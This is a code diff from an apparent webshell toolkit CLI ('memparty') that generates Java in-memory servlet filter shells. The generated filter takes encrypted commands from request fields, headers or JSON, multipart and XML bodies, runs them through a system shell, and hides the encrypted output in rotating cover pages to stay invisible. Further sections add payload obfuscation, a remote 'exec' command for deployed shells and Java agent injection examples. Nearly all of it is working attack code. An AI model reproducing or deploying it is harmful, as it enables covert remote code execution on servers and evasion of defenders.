+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
|
|
3126
|
+
const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
|
|
2581
3127
|
return `package mimic;
|
|
2582
3128
|
|
|
2583
3129
|
import java.io.*;
|
|
@@ -2592,37 +3138,120 @@ import javax.servlet.http.*;
|
|
|
2592
3138
|
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2593
3139
|
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2594
3140
|
*
|
|
2595
|
-
* Detection uses getParameter()/getHeader()
|
|
2596
|
-
* stream
|
|
2597
|
-
*
|
|
2598
|
-
*
|
|
2599
|
-
*
|
|
3141
|
+
* Detection uses getParameter()/getHeader() first, never touching the body
|
|
3142
|
+
* stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
|
|
3143
|
+
* caching wrapper, so the app's own endpoints (and other shells behind us)
|
|
3144
|
+
* still see the body. Anything that is not ours falls through chain.doFilter;
|
|
3145
|
+
* any error answers with the plain cover template.
|
|
2600
3146
|
*/
|
|
2601
3147
|
public class ${className} implements Filter {
|
|
2602
3148
|
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2603
3149
|
static final String[] FIELDS = { ${fieldsJava} };
|
|
3150
|
+
/** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
|
|
3151
|
+
static final String[] BODY_CTS = { ${bodyCtsJava} };
|
|
2604
3152
|
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2605
3153
|
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2606
3154
|
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2607
|
-
/** Cover
|
|
3155
|
+
/** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
|
|
2608
3156
|
static final String[] TPLS = {
|
|
2609
3157
|
${tplsJava}
|
|
2610
3158
|
};
|
|
3159
|
+
/** Content-Type of each cover body (parallel to TPLS). */
|
|
3160
|
+
static final String[] CTS = { ${ctsJava} };
|
|
2611
3161
|
|
|
2612
3162
|
public void init(FilterConfig filterConfig) {}
|
|
2613
3163
|
public void destroy() {}
|
|
2614
3164
|
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
3165
|
+
static byte[] readAll(InputStream in) throws IOException {
|
|
3166
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
3167
|
+
byte[] buf = new byte[8192];
|
|
3168
|
+
int n;
|
|
3169
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
3170
|
+
return bos.toByteArray();
|
|
3171
|
+
}
|
|
3172
|
+
|
|
3173
|
+
/** read the body only when its Content-Type is one the profile actually uses */
|
|
3174
|
+
static boolean ctMatches(String ct) {
|
|
3175
|
+
String l = ct.toLowerCase();
|
|
3176
|
+
for (String n : BODY_CTS) if (l.contains(n)) return true;
|
|
3177
|
+
return false;
|
|
3178
|
+
}
|
|
3179
|
+
|
|
3180
|
+
/** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
|
|
3181
|
+
static String jsonField(String body, String field) {
|
|
3182
|
+
String needle = "\\"" + field + "\\"";
|
|
3183
|
+
int i = body.indexOf(needle);
|
|
3184
|
+
if (i < 0) return null;
|
|
3185
|
+
int colon = body.indexOf(':', i + needle.length());
|
|
3186
|
+
if (colon < 0) return null;
|
|
3187
|
+
int q1 = body.indexOf('"', colon + 1);
|
|
3188
|
+
if (q1 < 0) return null;
|
|
3189
|
+
int q2 = body.indexOf('"', q1 + 1);
|
|
3190
|
+
if (q2 < 0) return null;
|
|
3191
|
+
return body.substring(q1 + 1, q2);
|
|
3192
|
+
}
|
|
3193
|
+
|
|
3194
|
+
/** minimal multipart extraction: the value follows the part headers of name="field" */
|
|
3195
|
+
static String multipartField(String body, String field) {
|
|
3196
|
+
String needle = "name=\\"" + field + "\\"";
|
|
3197
|
+
int i = body.indexOf(needle);
|
|
3198
|
+
if (i < 0) return null;
|
|
3199
|
+
int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
|
|
3200
|
+
int sepLen = 4;
|
|
3201
|
+
if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
|
|
3202
|
+
if (sep < 0) return null;
|
|
3203
|
+
int start = sep + sepLen;
|
|
3204
|
+
int end = body.indexOf('\\n', start);
|
|
3205
|
+
if (end < 0) end = body.length();
|
|
3206
|
+
String v = body.substring(start, end).trim();
|
|
3207
|
+
return v.isEmpty() ? null : v;
|
|
3208
|
+
}
|
|
3209
|
+
|
|
3210
|
+
/** minimal XML extraction: <field>value</field> */
|
|
3211
|
+
static String xmlField(String body, String field) {
|
|
3212
|
+
String open = "<" + field + ">";
|
|
3213
|
+
int i = body.indexOf(open);
|
|
3214
|
+
if (i < 0) return null;
|
|
3215
|
+
int start = i + open.length();
|
|
3216
|
+
int end = body.indexOf("</" + field + ">", start);
|
|
3217
|
+
if (end < 0) return null;
|
|
3218
|
+
return body.substring(start, end);
|
|
3219
|
+
}
|
|
3220
|
+
${wrapperLoaderMethods(opts)}
|
|
2615
3221
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2616
3222
|
throws IOException, ServletException {
|
|
3223
|
+
HttpServletRequest httpReq = request instanceof HttpServletRequest
|
|
3224
|
+
? (HttpServletRequest) request : null;
|
|
2617
3225
|
String value = null;
|
|
2618
3226
|
for (String f : FIELDS) {
|
|
2619
3227
|
value = request.getParameter(f);
|
|
2620
|
-
if (value == null &&
|
|
3228
|
+
if (value == null && httpReq != null) {
|
|
2621
3229
|
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2622
|
-
value =
|
|
3230
|
+
value = httpReq.getHeader(f);
|
|
2623
3231
|
}
|
|
2624
3232
|
if (value != null) break;
|
|
2625
3233
|
}
|
|
3234
|
+
if (value == null && httpReq != null) {
|
|
3235
|
+
// the ciphertext may ride a raw body of any bodyTemplate shape
|
|
3236
|
+
// (JSON / multipart / XML\u2026). Read it once and re-expose it
|
|
3237
|
+
// downstream via the caching wrapper.
|
|
3238
|
+
String ct = httpReq.getContentType();
|
|
3239
|
+
if (ct != null && ctMatches(ct)) {
|
|
3240
|
+
try {
|
|
3241
|
+
byte[] bodyBytes = readAll(httpReq.getInputStream());
|
|
3242
|
+
String bodyText = new String(bodyBytes, "UTF-8");
|
|
3243
|
+
for (String f : FIELDS) {
|
|
3244
|
+
value = jsonField(bodyText, f);
|
|
3245
|
+
if (value == null) value = multipartField(bodyText, f);
|
|
3246
|
+
if (value == null) value = xmlField(bodyText, f);
|
|
3247
|
+
if (value != null) break;
|
|
3248
|
+
}
|
|
3249
|
+
request = wrapBody(httpReq, bodyBytes);
|
|
3250
|
+
} catch (Throwable wrapperFailed) {
|
|
3251
|
+
// the body is already consumed \u2014 pass through as-is
|
|
3252
|
+
}
|
|
3253
|
+
}
|
|
3254
|
+
}
|
|
2626
3255
|
if (value == null) {
|
|
2627
3256
|
chain.doFilter(request, response);
|
|
2628
3257
|
return;
|
|
@@ -2634,11 +3263,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2634
3263
|
cmd = decryptField(value, aesKey);
|
|
2635
3264
|
} catch (Exception notOurs) {
|
|
2636
3265
|
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2637
|
-
// legitimate
|
|
3266
|
+
// legitimate request (e.g. the real login POST), stay invisible
|
|
2638
3267
|
chain.doFilter(request, response);
|
|
2639
3268
|
return;
|
|
2640
3269
|
}
|
|
2641
|
-
|
|
3270
|
+
int ti = new java.util.Random().nextInt(TPLS.length);
|
|
3271
|
+
String tpl = TPLS[ti];
|
|
3272
|
+
String tplCt = CTS[ti];
|
|
2642
3273
|
try {
|
|
2643
3274
|
String command = new String(cmd, "UTF-8");
|
|
2644
3275
|
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
@@ -2647,22 +3278,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2647
3278
|
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2648
3279
|
pb.redirectErrorStream(true);
|
|
2649
3280
|
Process proc = pb.start();
|
|
2650
|
-
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2651
|
-
InputStream in = proc.getInputStream();
|
|
2652
|
-
byte[] buf = new byte[8192];
|
|
2653
|
-
int n;
|
|
2654
|
-
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2655
3281
|
proc.waitFor();
|
|
2656
|
-
String payload = encryptField(
|
|
2657
|
-
String
|
|
2658
|
-
|
|
2659
|
-
|
|
2660
|
-
|
|
3282
|
+
String payload = encryptField(readAll(proc.getInputStream()), aesKey);
|
|
3283
|
+
String page;
|
|
3284
|
+
if (tpl.contains("{{payload}}")) {
|
|
3285
|
+
// placeholder template (any text format): substitute exactly there
|
|
3286
|
+
page = tpl.replace("{{payload}}", payload);
|
|
3287
|
+
} else {
|
|
3288
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
3289
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
3290
|
+
page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
3291
|
+
}
|
|
3292
|
+
response.setContentType(tplCt);
|
|
2661
3293
|
response.setCharacterEncoding("UTF-8");
|
|
2662
|
-
|
|
3294
|
+
if (tplCt.contains("event-stream")) {
|
|
3295
|
+
// flush chunk by chunk \u2014 a real SSE endpoint streams, a
|
|
3296
|
+
// one-shot body is the wrong shape on the wire
|
|
3297
|
+
java.io.PrintWriter w = response.getWriter();
|
|
3298
|
+
for (String chunk : page.split("\\n\\n", -1)) {
|
|
3299
|
+
if (chunk.isEmpty()) continue;
|
|
3300
|
+
w.write(chunk);
|
|
3301
|
+
w.write("\\n\\n");
|
|
3302
|
+
w.flush();
|
|
3303
|
+
response.flushBuffer();
|
|
3304
|
+
try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
|
|
3305
|
+
}
|
|
3306
|
+
} else {
|
|
3307
|
+
response.getWriter().write(page);
|
|
3308
|
+
}
|
|
2663
3309
|
} catch (Exception e) {
|
|
2664
|
-
// behave like the cover
|
|
2665
|
-
response.setContentType(
|
|
3310
|
+
// behave like the cover body on any error \u2014 stay quiet
|
|
3311
|
+
response.setContentType(tplCt);
|
|
2666
3312
|
response.getWriter().write(tpl);
|
|
2667
3313
|
}
|
|
2668
3314
|
}
|
|
@@ -2715,6 +3361,29 @@ function profileSecretFields(profile) {
|
|
|
2715
3361
|
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
2716
3362
|
return fields.length > 0 ? fields : ["pass"];
|
|
2717
3363
|
}
|
|
3364
|
+
function ctNeedle(ct) {
|
|
3365
|
+
const media = ct.toLowerCase().split(";", 1)[0].trim();
|
|
3366
|
+
if (media.includes("json")) return "json";
|
|
3367
|
+
if (media.includes("multipart")) return "multipart";
|
|
3368
|
+
if (media.includes("xml")) return "xml";
|
|
3369
|
+
return media;
|
|
3370
|
+
}
|
|
3371
|
+
function profileBodyContentTypes(profile) {
|
|
3372
|
+
const needles = /* @__PURE__ */ new Set();
|
|
3373
|
+
for (const r of profileRequests(profile)) {
|
|
3374
|
+
if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
|
|
3375
|
+
if (r.bodyTemplate !== void 0) {
|
|
3376
|
+
const explicit = Object.entries(r.headers ?? {}).find(
|
|
3377
|
+
([k]) => k.toLowerCase() === "content-type"
|
|
3378
|
+
)?.[1];
|
|
3379
|
+
const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
|
|
3380
|
+
if (ct) needles.add(ctNeedle(ct));
|
|
3381
|
+
} else if (r.bodyStyle === "json") {
|
|
3382
|
+
needles.add("json");
|
|
3383
|
+
}
|
|
3384
|
+
}
|
|
3385
|
+
return [...needles];
|
|
3386
|
+
}
|
|
2718
3387
|
function defaultClassName() {
|
|
2719
3388
|
return `MimicFilter${randomString(4)}`;
|
|
2720
3389
|
}
|
|
@@ -2726,26 +3395,38 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
2726
3395
|
const urlPattern = input3.urlPattern ?? "/*";
|
|
2727
3396
|
const packer = input3.packer ?? "DefaultBase64";
|
|
2728
3397
|
const cipher = resolveCipher(input3.profile.cipher);
|
|
2729
|
-
const templates = profileTemplates(input3.profile).map((t) =>
|
|
3398
|
+
const templates = profileTemplates(input3.profile).map((t) => ({
|
|
3399
|
+
template: t.template,
|
|
3400
|
+
contentType: t.contentType
|
|
3401
|
+
}));
|
|
2730
3402
|
if (templates.length === 0) {
|
|
2731
3403
|
throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
2732
3404
|
}
|
|
2733
3405
|
const outDir = input3.outDir;
|
|
2734
3406
|
const packageDir = join5(outDir, "mimic");
|
|
2735
3407
|
mkdirSync4(packageDir, { recursive: true });
|
|
3408
|
+
const wrapperFile = join5(packageDir, "CachedBody.java");
|
|
3409
|
+
writeFileSync4(wrapperFile, renderWrapperJava(), "utf8");
|
|
3410
|
+
compile([wrapperFile], outDir, { classpath: [jarOf()] });
|
|
3411
|
+
const wrapper = {
|
|
3412
|
+
bodyB64: readFileSync6(join5(packageDir, "CachedBody.class")).toString("base64"),
|
|
3413
|
+
streamB64: readFileSync6(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
|
|
3414
|
+
};
|
|
2736
3415
|
const javaSource = renderFilterJava({
|
|
2737
3416
|
className,
|
|
2738
3417
|
pass: input3.pass,
|
|
2739
3418
|
secret: input3.secret,
|
|
2740
3419
|
fields: profileSecretFields(input3.profile),
|
|
3420
|
+
bodyContentTypes: profileBodyContentTypes(input3.profile),
|
|
2741
3421
|
templates,
|
|
2742
|
-
cipher
|
|
3422
|
+
cipher,
|
|
3423
|
+
wrapper
|
|
2743
3424
|
});
|
|
2744
3425
|
const javaFile = join5(packageDir, `${className}.java`);
|
|
2745
|
-
|
|
3426
|
+
writeFileSync4(javaFile, javaSource, "utf8");
|
|
2746
3427
|
compile([javaFile], outDir, { classpath: [jarOf()] });
|
|
2747
3428
|
const classFile = join5(packageDir, `${className}.class`);
|
|
2748
|
-
const shellClassBase64 =
|
|
3429
|
+
const shellClassBase64 = readFileSync6(classFile).toString("base64");
|
|
2749
3430
|
const response = await client.generateMemShell({
|
|
2750
3431
|
shellConfig: {
|
|
2751
3432
|
server: input3.server,
|
|
@@ -2764,13 +3445,13 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
2764
3445
|
if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
|
|
2765
3446
|
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
2766
3447
|
const file = join5(outDir, `payload-${name}.txt`);
|
|
2767
|
-
|
|
3448
|
+
writeFileSync4(file, `${value}
|
|
2768
3449
|
`, "utf8");
|
|
2769
3450
|
payloads[name] = file;
|
|
2770
3451
|
}
|
|
2771
3452
|
} else if (response.packResult !== void 0) {
|
|
2772
3453
|
const file = join5(outDir, "payload.txt");
|
|
2773
|
-
|
|
3454
|
+
writeFileSync4(file, `${response.packResult}
|
|
2774
3455
|
`, "utf8");
|
|
2775
3456
|
payloads[packer] = file;
|
|
2776
3457
|
}
|
|
@@ -2810,7 +3491,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
2810
3491
|
connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
|
|
2811
3492
|
files: result.files
|
|
2812
3493
|
};
|
|
2813
|
-
|
|
3494
|
+
writeFileSync4(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
|
|
2814
3495
|
`, "utf8");
|
|
2815
3496
|
return result;
|
|
2816
3497
|
}
|
|
@@ -2818,7 +3499,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
2818
3499
|
// src/commands/custom.ts
|
|
2819
3500
|
function registerCustomCommand(program) {
|
|
2820
3501
|
program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
|
|
2821
|
-
new
|
|
3502
|
+
new Command3("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
|
|
2822
3503
|
"after",
|
|
2823
3504
|
`
|
|
2824
3505
|
The full loop (see docs/mimic-memshell-guide.md):
|
|
@@ -3004,20 +3685,29 @@ async function startMimicServer(options = {}) {
|
|
|
3004
3685
|
const aesKey = deriveAesKey(secretKey);
|
|
3005
3686
|
const markers = deriveMarkers(pass, secretKey, cipher);
|
|
3006
3687
|
const execTimeoutMs = options.execTimeoutMs ?? 5e3;
|
|
3007
|
-
const
|
|
3688
|
+
const skins = options.templates ?? [
|
|
3689
|
+
{ title: "mock", template: PAGES["/"], contentType: "text/html; charset=utf-8" }
|
|
3690
|
+
];
|
|
3691
|
+
const fields = options.fields ?? [pass];
|
|
3008
3692
|
const server = http2.createServer((req, res) => {
|
|
3009
3693
|
if (req.method === "POST") {
|
|
3010
3694
|
const chunks = [];
|
|
3011
3695
|
req.on("data", (c) => chunks.push(c));
|
|
3012
3696
|
req.on("end", () => {
|
|
3013
|
-
|
|
3014
|
-
|
|
3015
|
-
|
|
3016
|
-
|
|
3017
|
-
|
|
3018
|
-
|
|
3019
|
-
|
|
3020
|
-
|
|
3697
|
+
const rawBody = Buffer.concat(chunks);
|
|
3698
|
+
let command = null;
|
|
3699
|
+
for (const f of fields) {
|
|
3700
|
+
command = decodeRequestBody(rawBody, f, aesKey, cipher);
|
|
3701
|
+
if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);
|
|
3702
|
+
if (command === null) {
|
|
3703
|
+
const query = new URL(req.url ?? "/", "http://x").searchParams.get(f);
|
|
3704
|
+
if (query) command = tryDecrypt(query, aesKey, cipher);
|
|
3705
|
+
}
|
|
3706
|
+
if (command === null) {
|
|
3707
|
+
const header = req.headers[f.toLowerCase()];
|
|
3708
|
+
if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
|
|
3709
|
+
}
|
|
3710
|
+
if (command !== null) break;
|
|
3021
3711
|
}
|
|
3022
3712
|
if (command === null) {
|
|
3023
3713
|
res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
|
|
@@ -3026,8 +3716,26 @@ async function startMimicServer(options = {}) {
|
|
|
3026
3716
|
}
|
|
3027
3717
|
void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
|
|
3028
3718
|
const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
|
|
3029
|
-
|
|
3030
|
-
|
|
3719
|
+
const skin = skins[Math.floor(Math.random() * skins.length)];
|
|
3720
|
+
const body = skin.template.includes(PAYLOAD_PLACEHOLDER) ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64) : injectFragment(skin.template, markers.wrap(b64));
|
|
3721
|
+
res.writeHead(200, { "Content-Type": skin.contentType });
|
|
3722
|
+
if (skin.contentType.includes("event-stream")) {
|
|
3723
|
+
const sseChunks = body.split("\n\n").filter((c) => c.length > 0);
|
|
3724
|
+
let i = 0;
|
|
3725
|
+
const next = () => {
|
|
3726
|
+
if (i < sseChunks.length) {
|
|
3727
|
+
res.write(`${sseChunks[i++]}
|
|
3728
|
+
|
|
3729
|
+
`);
|
|
3730
|
+
setTimeout(next, 25);
|
|
3731
|
+
} else {
|
|
3732
|
+
res.end();
|
|
3733
|
+
}
|
|
3734
|
+
};
|
|
3735
|
+
next();
|
|
3736
|
+
} else {
|
|
3737
|
+
res.end(body);
|
|
3738
|
+
}
|
|
3031
3739
|
});
|
|
3032
3740
|
});
|
|
3033
3741
|
return;
|
|
@@ -3128,7 +3836,7 @@ Watch the printed request URL in step 3/4: it changes every run.
|
|
|
3128
3836
|
}
|
|
3129
3837
|
|
|
3130
3838
|
// src/commands/exec.ts
|
|
3131
|
-
import { Option as
|
|
3839
|
+
import { Option as Option3 } from "commander";
|
|
3132
3840
|
function parseExtraHeaders2(lines) {
|
|
3133
3841
|
const headers = {};
|
|
3134
3842
|
for (const line of lines ?? []) {
|
|
@@ -3144,16 +3852,16 @@ function registerExecCommand(program) {
|
|
|
3144
3852
|
program.command("exec").description(
|
|
3145
3853
|
"Execute a command on a deployed webshell and print its output"
|
|
3146
3854
|
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
3147
|
-
new
|
|
3855
|
+
new Option3("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
|
|
3148
3856
|
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
|
|
3149
|
-
new
|
|
3857
|
+
new Option3("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
3150
3858
|
).option(
|
|
3151
3859
|
"--header-name <name>",
|
|
3152
3860
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
3153
3861
|
).option(
|
|
3154
3862
|
"--header-value <value>",
|
|
3155
3863
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
3156
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
3864
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
3157
3865
|
"after",
|
|
3158
3866
|
`
|
|
3159
3867
|
Examples:
|
|
@@ -3183,7 +3891,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3183
3891
|
headerValue: opts.headerValue,
|
|
3184
3892
|
extraHeaders: parseExtraHeaders2(opts.header),
|
|
3185
3893
|
insecure: opts.insecure,
|
|
3186
|
-
profile: opts.profile
|
|
3894
|
+
profile: opts.profile,
|
|
3895
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
3187
3896
|
});
|
|
3188
3897
|
} catch (err) {
|
|
3189
3898
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -3195,7 +3904,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3195
3904
|
headerValue: conn.headerValue,
|
|
3196
3905
|
extraHeaders: conn.extraHeaders,
|
|
3197
3906
|
timeoutMs,
|
|
3198
|
-
insecure: conn.insecure
|
|
3907
|
+
insecure: conn.insecure,
|
|
3908
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
3199
3909
|
};
|
|
3200
3910
|
let result;
|
|
3201
3911
|
try {
|
|
@@ -3254,43 +3964,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3254
3964
|
}
|
|
3255
3965
|
|
|
3256
3966
|
// src/commands/gen.ts
|
|
3257
|
-
import { readFileSync as
|
|
3258
|
-
import { Option as
|
|
3259
|
-
|
|
3260
|
-
// src/core/output.ts
|
|
3261
|
-
import { writeFileSync as writeFileSync4 } from "fs";
|
|
3262
|
-
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
3263
|
-
function hasBinaryExtension(path) {
|
|
3264
|
-
const lower = path.toLowerCase();
|
|
3265
|
-
return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
3266
|
-
}
|
|
3267
|
-
function shouldDecode(opts) {
|
|
3268
|
-
if (opts.decode !== void 0) return opts.decode;
|
|
3269
|
-
if (opts.outFile) return hasBinaryExtension(opts.outFile);
|
|
3270
|
-
return false;
|
|
3271
|
-
}
|
|
3272
|
-
function emitPayload(payload, opts, sinks = {}) {
|
|
3273
|
-
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
|
|
3274
|
-
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
3275
|
-
const decoded = shouldDecode(opts);
|
|
3276
|
-
if (opts.outFile) {
|
|
3277
|
-
if (decoded) {
|
|
3278
|
-
const buf = Buffer.from(payload, "base64");
|
|
3279
|
-
writeFile(opts.outFile, buf);
|
|
3280
|
-
return { destination: opts.outFile, size: buf.length, decoded: true };
|
|
3281
|
-
}
|
|
3282
|
-
writeFile(opts.outFile, payload);
|
|
3283
|
-
return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
|
|
3284
|
-
}
|
|
3285
|
-
if (decoded) {
|
|
3286
|
-
const buf = Buffer.from(payload, "base64");
|
|
3287
|
-
writeStdout(buf.toString("binary"));
|
|
3288
|
-
return { destination: "stdout", size: buf.length, decoded: true };
|
|
3289
|
-
}
|
|
3290
|
-
writeStdout(payload.endsWith("\n") ? payload : `${payload}
|
|
3291
|
-
`);
|
|
3292
|
-
return { destination: "stdout", size: payload.length, decoded: false };
|
|
3293
|
-
}
|
|
3967
|
+
import { readFileSync as readFileSync8 } from "fs";
|
|
3968
|
+
import { Option as Option4 } from "commander";
|
|
3294
3969
|
|
|
3295
3970
|
// src/core/request-builder.ts
|
|
3296
3971
|
import { randomInt as randomInt3 } from "crypto";
|
|
@@ -3324,16 +3999,16 @@ function buildMemShellRequest(opts) {
|
|
|
3324
3999
|
byPassJavaModule: opts.byPassJavaModule,
|
|
3325
4000
|
shrink: opts.shrink,
|
|
3326
4001
|
lambdaSuffix: opts.lambdaSuffix,
|
|
3327
|
-
probe: opts.probe
|
|
4002
|
+
probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
|
|
4003
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
|
|
4004
|
+
obfuscationScope: opts.obfuscationScope
|
|
3328
4005
|
},
|
|
3329
4006
|
shellToolConfig: {
|
|
3330
4007
|
shellClassName: opts.shellClassName,
|
|
3331
|
-
|
|
3332
|
-
|
|
3333
|
-
|
|
3334
|
-
|
|
3335
|
-
behinderPass: opts.behinderPass,
|
|
3336
|
-
antSwordPass: opts.antSwordPass,
|
|
4008
|
+
pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
|
|
4009
|
+
key: opts.godzillaKey,
|
|
4010
|
+
paramName: opts.commandParamName,
|
|
4011
|
+
template: opts.commandTemplate,
|
|
3337
4012
|
headerName: opts.headerName,
|
|
3338
4013
|
headerValue: opts.headerValue,
|
|
3339
4014
|
shellClassBase64: opts.shellClassBase64,
|
|
@@ -3359,7 +4034,8 @@ function buildProbeRequest(opts) {
|
|
|
3359
4034
|
byPassJavaModule: opts.byPassJavaModule,
|
|
3360
4035
|
shrink: opts.shrink,
|
|
3361
4036
|
staticInitialize: opts.staticInitialize,
|
|
3362
|
-
lambdaSuffix: opts.lambdaSuffix
|
|
4037
|
+
lambdaSuffix: opts.lambdaSuffix,
|
|
4038
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
|
|
3363
4039
|
},
|
|
3364
4040
|
probeContentConfig: {
|
|
3365
4041
|
host: opts.host,
|
|
@@ -3367,15 +4043,27 @@ function buildProbeRequest(opts) {
|
|
|
3367
4043
|
sleepServer: opts.sleepServer,
|
|
3368
4044
|
server: opts.server,
|
|
3369
4045
|
reqParamName: opts.reqParamName,
|
|
3370
|
-
commandTemplate: opts.commandTemplate
|
|
4046
|
+
commandTemplate: opts.commandTemplate,
|
|
4047
|
+
respHeaderName: opts.respHeaderName
|
|
3371
4048
|
},
|
|
3372
4049
|
packer: opts.packer
|
|
3373
4050
|
};
|
|
3374
4051
|
}
|
|
3375
4052
|
|
|
4053
|
+
// src/core/agent.ts
|
|
4054
|
+
function supportsAgentLoadArguments(shellType, packer) {
|
|
4055
|
+
return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
|
|
4056
|
+
}
|
|
4057
|
+
function agentLoadExamples(agentArgs) {
|
|
4058
|
+
return [
|
|
4059
|
+
`java -jar agent.jar <pid> ${agentArgs}`,
|
|
4060
|
+
`jattach <pid> load instrument false agent.jar=${agentArgs}`
|
|
4061
|
+
];
|
|
4062
|
+
}
|
|
4063
|
+
|
|
3376
4064
|
// src/wizard/memshell-wizard.ts
|
|
3377
|
-
import { readFileSync as
|
|
3378
|
-
import { checkbox, confirm, input, select
|
|
4065
|
+
import { readFileSync as readFileSync7 } from "fs";
|
|
4066
|
+
import { checkbox, confirm, input, select } from "@inquirer/prompts";
|
|
3379
4067
|
var JDK_CHOICES = [
|
|
3380
4068
|
{ name: "server default", value: "" },
|
|
3381
4069
|
...Object.entries(JDK_VERSIONS).map(([name, major]) => ({
|
|
